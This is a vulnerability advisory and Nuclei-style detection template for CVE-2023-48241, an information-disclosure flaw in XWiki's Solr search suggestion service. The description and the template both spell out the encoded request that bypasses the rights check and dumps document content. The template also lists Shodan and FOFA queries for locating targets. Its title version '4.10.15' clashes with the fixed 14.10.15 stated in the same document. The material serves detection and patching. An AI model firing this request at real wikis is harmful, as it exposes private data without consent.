The Solr-based search suggestion provider that also duplicates as generic JavaScript API for search results in XWiki exposes the content of all documents of all wikis to anybody who has access to it, by default it is public. This exposes all information stored in the wiki (but not some protected information like password hashes). While there is a right check normally, the right check can be circumvented by explicitly requesting fields from Solr that don't include the data for the right check. This can be reproduced by opening <xwiki-server>/xwiki/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+ where <xwiki-server> is the URL of the XWiki installation. If this displays any results, the wiki is vulnerable.
PoC
id: CVE-2023-48241
info:
name: XWiki < 4.10.15 - Information Disclosure
author: ritikchaddha
severity: high
description: |
The Solr-based search suggestion provider that also duplicates as generic JavaScript API for search results in XWiki exposes the content of all documents of all wikis to anybody who has access to it, by default it is public. This exposes all information stored in the wiki (but not some protected information like password hashes). While there is a right check normally, the right check can be circumvented by explicitly requesting fields from Solr that don't include the data for the right check. This can be reproduced by opening <xwiki-server>/xwiki/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+ where <xwiki-server> is the URL of the XWiki installation. If this displays any results, the wiki is vulnerable.
impact: |
Successful exploitation could lead to disclosure of content of all documents of all wikis.
remediation: |
This has been fixed in XWiki 15.6RC1, 15.5.1 and 14.10.15 by not listing documents whose rights cannot be checked.
reference:
- https://jira.xwiki.org/browse/XWIKI-21138
- https://nvd.nist.gov/vuln/detail/CVE-2023-48241
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-48241
cwe-id: CWE-285
epss-score: 0.7282
epss-percentile: 0.9942
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2023,xwiki,exposure,vuln
http:
- method: GET
path:
- "{{BaseURL}}/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+"
- "{{BaseURL}}/xwiki/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"reference":'
- 'title_":'
condition: or
- type: dsl
dsl:
- 'contains(body, "services.localization.render")'
- 'contains(header, "application/json")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450220021c4d687f087137c133f0b76e0dcc6e3b35439028ee11faf1403d79db8dac8b0221008e66cae795f077442815627e889c139ce08aaf9150166a200ea00041742982e4:922c64590222798bb761d5b6d8e72950
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